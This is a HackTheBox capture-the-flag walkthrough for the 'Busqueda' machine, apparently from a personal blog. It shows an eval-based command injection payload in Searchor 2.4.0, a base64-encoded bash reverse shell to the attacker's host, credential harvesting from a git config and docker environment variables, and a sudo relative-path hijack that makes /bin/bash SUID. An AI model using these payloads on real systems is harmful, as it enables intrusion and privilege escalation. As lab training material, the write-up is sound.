Machine: Busqueda
Difficulty: Easy
Platform: HackTheBox
Release: Released on 04/08/2023
Recon:
As always, we must ascertain the open ports on the target machine, as it is through these ports that it exposes its services.
Now, using nmap:
elswix@parrot$ sudo nmap -p- --open -sS --min-rate 5000 -v -n -Pn 10.10.11.208 -oN portScan
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-24 15:35 EDT
Initiating SYN Stealth Scan at 15:35
Scanning 10.10.11.208 [65535 ports]
Discovered open port 22/tcp on 10.10.11.208
Discovered open port 80/tcp on 10.10.11.208
Completed SYN Stealth Scan at 15:36, 15.39s elapsed (65535 total ports)
Nmap scan report for 10.10.11.208
Host is up, received user-set (0.15s latency).
Scanned at 2023-06-24 15:35:49 EDT for 15s
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 15.54 seconds
Raw packets sent: 75492 (3.322MB) | Rcvd: 75471 (3.019MB)
Since we lack valid credentials, we cannot exploit port 22 to gain access to the system; therefore, it appears that we should commence with port 80.
If you do not recognize any of these ports, you may employ the nmap tool once more to conduct a comprehensive scan to identify the services and versions running on those ports.
nmap -sCV -p80,22 10.10.11.208 -oN fullScan
elswix@parrot$ nmap -sCV -p80,22 10.10.11.208 -oN fullScan
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-24 15:45 EDT
Nmap scan report for 10.10.11.208 (10.10.11.208)
Host is up (0.19s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 4fe3a667a227f9118dc30ed773a02c28 (ECDSA)
|_ 256 816e78766b8aea7d1babd436b7f8ecc4 (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://searcher.htb/
Service Info: Host: searcher.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.36 seconds
# Host addresses
127.0.0.1 localhost
127.0.1.1 Parrot
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
# HackTheBox
10.10.11.208 searcher.htb
elswix@parrot$ whatweb -a 3 10.10.11.208
http://10.10.11.208 [302 Found] Apache[2.4.52], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.52 (Ubuntu)], IP[10.10.11.208], RedirectLocation[http://searcher.htb/], Title[302 Found]
http://searcher.htb/ [200 OK] Bootstrap[4.1.3], Country[RESERVED][ZZ], HTML5, HTTPServer[Werkzeug/2.1.2 Python/3.10.6], IP[10.10.11.208], JQuery[3.2.1], Python[3.10.6], Script, Title[Searcher], Werkzeug[2.1.2]
Upon analyzing the website, we can see that it utilizes Python, Werkzeug, and JQuery. It appears that the website is hosted in a Flask environment.
Web Application
Once in the browser, we can access the web page with a graphical interface:

Using the Wappalyzer extension, we can identify the technologies employed by this website:

Scrolling down on the webpage, we can observe the presence of a field that allows us to input data. This field allows us to specify a search engine and the data we wish to search for:

In the footer of the webpage, we can observe the technologies used by the web service, and one of them is Searchor v2.4.0:

If we search for vulnerabilities associated with this version of the Searchor package, we find that versions prior to 2.4.2 are susceptible to command injection.
Analyzing the source code of version 2.4.0, we can see that in the file app.py, the following lines of code are causing the vulnerability:

The issue here lies in the use of the Python
eval
function, which allows for the interpretation of arbitrary Python expressions from input based on strings or compiled code.
Shell as svc
At this point, I attempted to perform a search on the main page using the Google search engine, intercepting all requests with Burp Suite.

If we examine the source code, we can observe that the "query" parameter corresponds to the variable referenced in the vulnerable line of code.

After conducting some tests, we were able to make the data we sent through the "query" parameter execute Python code that we specify. Below is the payload for testing remote command execution by sending an ICMP trace:
test'),__import__('os').system('ping -c 1 10.10.16.4')#
tcpdump -i tun0 icmp -n
root@parrot$ tcpdump -i tun0 icmp -n
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes

We have received the ping:

The idea now is to send a reverse shell to obtain an interactive remote console with which to operate.
To avoid issues with single and double quotes, I will opt to use base64 encoding to encode, decode, and interpret the command that will send us the reverse shell. To do this, we will start by base64 encoding the typical Bash one-liner that will establish a reverse shell over port 443 using the TCP protocol:
echo -n 'bash -c "bash -i >& /dev/tcp/10.10.16.4/443 0>&1"' | base64 -w 0; echo
elswix@parrot$ echo -n 'bash -c "bash -i >& /dev/tcp/10.10.16.4/443 0>&1"' | base64 -w 0; echo
YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi40LzQ0MyAwPiYxIg==
nc -lvnp 443
root@parrot$$ nc -lvnp 443
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
test'),__import__('os').system('echo YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi40LzQ0MyAwPiYxIg== | base64 -d | bash')#

root@parrot$ nc -lvnp 443
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 10.10.11.208.
Ncat: Connection from 10.10.11.208:36890.
bash: cannot set terminal process group (1681): Inappropriate ioctl for device
bash: no job control in this shell
svc@busqueda:/var/www/app$
We could use this same shell we have obtained, but personally, I prefer to use a much more interactive shell to take advantage of keyboard shortcuts and other features.
To achieve this, we execute the following:
script /dev/null -c bash
svc@busqueda:/var/www/app$ script /dev/null -c bash
Ctrl+Z
and then execute:root@parrot$$ stty raw -echo;fg
Enter
and execute:svc@busqueda:/var/www/app$ reset xterm
svc@busqueda:/var/www/app$ export TERM=xterm
svc@busqueda:/var/www/app$ export SHELL=/bin/bash
svc@busqueda:/var/www/app$ stty rows 51 columns 189
Privilege Escalation -> ROOT #
Enumerating the resources of the web service, we can see the presence of the ".git" directory of the repository.
svc@busqueda:/var/www/app$ ls -la
total 20
drwxr-xr-x 4 www-data www-data 4096 Apr 3 14:32 .
drwxr-xr-x 4 root root 4096 Apr 4 16:02 ..
-rw-r--r-- 1 www-data www-data 1124 Dec 1 2022 app.py
drwxr-xr-x 8 www-data www-data 4096 Jun 24 19:33 .git
drwxr-xr-x 2 www-data www-data 4096 Dec 1 2022 templates
svc@busqueda:/var/www/app$
config
:svc@busqueda:/var/www/app$ cd .git
svc@busqueda:/var/www/app/.git$ ls -la
total 52
drwxr-xr-x 8 www-data www-data 4096 Jun 24 19:33 .
drwxr-xr-x 4 www-data www-data 4096 Apr 3 14:32 ..
drwxr-xr-x 2 www-data www-data 4096 Dec 1 2022 branches
-rw-r--r-- 1 www-data www-data 15 Dec 1 2022 COMMIT_EDITMSG
-rw-r--r-- 1 www-data www-data 294 Dec 1 2022 config
-rw-r--r-- 1 www-data www-data 73 Dec 1 2022 description
-rw-r--r-- 1 www-data www-data 21 Dec 1 2022 HEAD
drwxr-xr-x 2 www-data www-data 4096 Dec 1 2022 hooks
-rw-r--r-- 1 root root 259 Apr 3 15:09 index
drwxr-xr-x 2 www-data www-data 4096 Dec 1 2022 info
drwxr-xr-x 3 www-data www-data 4096 Dec 1 2022 logs
drwxr-xr-x 9 www-data www-data 4096 Dec 1 2022 objects
drwxr-xr-x 5 www-data www-data 4096 Dec 1 2022 refs
svc@busqueda:/var/www/app/.git$
svc@busqueda:/var/www/app/.git$ cat config
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
[remote "origin"]
url = http://cody:jh1usoih2bkjaspwe92@gitea.searcher.htb/cody/Searcher_site.git
fetch = +refs/heads/*:refs/remotes/origin/*
[branch "main"]
remote = origin
merge = refs/heads/main
svc@busqueda:/var/www/app/.git$
jh1usoih2bkjaspwe92
also belongs to the current user svc
:svc@busqueda:/var/www/app/.git$ sudo -l
[sudo] password for svc:
Matching Defaults entries for svc on busqueda:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User svc may run the following commands on busqueda:
(root) /usr/bin/python3 /opt/scripts/system-checkup.py *
svc@busqueda:/var/www/app/.git$
Before investigating what we can do with this script, in the
config
file, we can also see the presence of a subdomain: gitea.searcher.htb
.I will add this subdomain to my local machine's
/etc/hosts
file.# Host addresses
127.0.0.1 localhost
127.0.1.1 Parrot
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
# HackTheBox
10.10.11.208 searcher.htb gitea.searcher.htb
Gitea Service
Let's take a look at the web service hosted on the subdomaingitea.searcher.htb
.
We navigate to the authentication section.

We can try using the credentials we obtained from the config file to authenticate:
Username: cody
Password: jh1usoih2bkjaspwe92

We can verify that the credentials are correct and observe that there are repositories available:

These repositories are not useful to us since we already have access to them from the machine. However, it is interesting to note the existence of a user named
administrator
.Unfortunately, we cannot view the content or modify the script as the directory it is located in belongs to the root user and does not allow reading of its files.
Next, we will execute the script exactly as shown using the
sudo -l
command, but adding sudo
at the beginning of the command:svc@busqueda:/opt/scripts$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py *
Usage: /opt/scripts/system-checkup.py <action> (arg1) (arg2)
docker-ps : List running docker containers
docker-inspect : Inpect a certain docker container
full-checkup : Run a full system checkup
svc@busqueda:/opt/scripts$
docker-ps
option. This option, as indicated in the help panel, will allow us to list the Docker containers that are currently running on the system.svc@busqueda:/opt/scripts$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
960873171e2e gitea/gitea:latest "/usr/bin/entrypoint…" 5 months ago Up 3 hours 127.0.0.1:3000->3000/tcp, 127.0.0.1:222->22/tcp gitea
f84a6b33fb5a mysql:8 "docker-entrypoint.s…" 5 months ago Up 3 hours 127.0.0.1:3306->3306/tcp, 33060/tcp mysql_db
svc@busqueda:/opt/scripts$
svc@busqueda:/opt/scripts$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect
Usage: /opt/scripts/system-checkup.py docker-inspect <format> <container_name>
svc@busqueda:/opt/scripts$
I found several format examples and decided to try each one of them. During testing, one of the formats caught my attention:
docker inspect --format='{{json .Config}}' $INSTANCE_ID
jq
to display a more readable output on the screen.sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect "{{json .Config}}" gitea | jq
{
"Hostname": "960873171e2e",
"Domainname": "",
"User": "",
"AttachStdin": false,
"AttachStdout": false,
"AttachStderr": false,
"ExposedPorts": {
"22/tcp": {},
"3000/tcp": {}
},
"Tty": false,
"OpenStdin": false,
"StdinOnce": false,
"Env": [
"USER_UID=115",
"USER_GID=121",
"GITEA__database__DB_TYPE=mysql",
"GITEA__database__HOST=db:3306",
"GITEA__database__NAME=gitea",
"GITEA__database__USER=gitea",
"GITEA__database__PASSWD=yuiu1hoiu4i5ho1uh",
"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
"USER=git",
"GITEA_CUSTOM=/data/gitea"
],
"Cmd": [
"/bin/s6-svscan",
"/etc/s6"
],
"Image": "gitea/gitea:latest",
"Volumes": {
"/data": {},
"/etc/localtime": {},
"/etc/timezone": {}
},
"WorkingDir": "",
"Entrypoint": [
"/usr/bin/entrypoint"
],
"OnBuild": null,
"Labels": {
"com.docker.compose.config-hash": "e9e6ff8e594f3a8c77b688e35f3fe9163fe99c66597b19bdd03f9256d630f515",
"com.docker.compose.container-number": "1",
"com.docker.compose.oneoff": "False",
"com.docker.compose.project": "docker",
"com.docker.compose.project.config_files": "docker-compose.yml",
"com.docker.compose.project.working_dir": "/root/scripts/docker",
"com.docker.compose.service": "server",
"com.docker.compose.version": "1.29.2",
"maintainer": "maintainers@gitea.io",
"org.opencontainers.image.created": "2022-11-24T13:22:00Z",
"org.opencontainers.image.revision": "9bccc60cf51f3b4070f5506b042a3d9a1442c73d",
"org.opencontainers.image.source": "https://github.com/go-gitea/gitea.git",
"org.opencontainers.image.url": "https://github.com/go-gitea/gitea"
}
}
yuiu1hoiu4i5ho1uh
.We can check if this password belongs to the
administrator
user of the Gitea service.
The credentials are correct, and we can access as the
administrator
user.We notice that the
administrator
user has a repository named scripts
, which is interesting because it matches the name of the folder where the system-checkup.py
script is stored.
We've gained access to the source code of the scripts stored in the directory and can see the source code of the script that we can execute as root.
Upon inspecting the code, we notice that in the
full-checkup
option, a Bash script is executed.
The issue with this is that it searches for the script in the current working directory, which allows us to take advantage of this situation to create our own script in a location where we have permission to write and execute it as root.
Let's navigate to the
/dev/shm
directory:svc@busqueda:/opt/scripts$ cd /dev/shm
svc@busqueda:/dev/shm$ touch full-checkup.sh
svc@busqueda:/dev/shm$
/bin/bash
.Let's add the following content to the Bash script:
#!/bin/bash
chmod +s /bin/bash
svc@busqueda:/dev/shm$ chmod +x full-checkup.sh
sudo
and the full-checkup
parameter:svc@busqueda:/dev/shm$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
[+] Done!
svc@busqueda:/dev/shm$
/bin/bash
:svc@busqueda:/dev/shm$ ls -l /bin/bash
-rwsr-sr-x 1 root root 1396520 Jan 6 2022 /bin/bash
svc@busqueda:/dev/shm$
svc@busqueda:/dev/shm$ bash -p
bash-5.1# whoami
root
bash-5.1# cat /root/root.txt
d028******************6ddd62e89af
bash-5.1#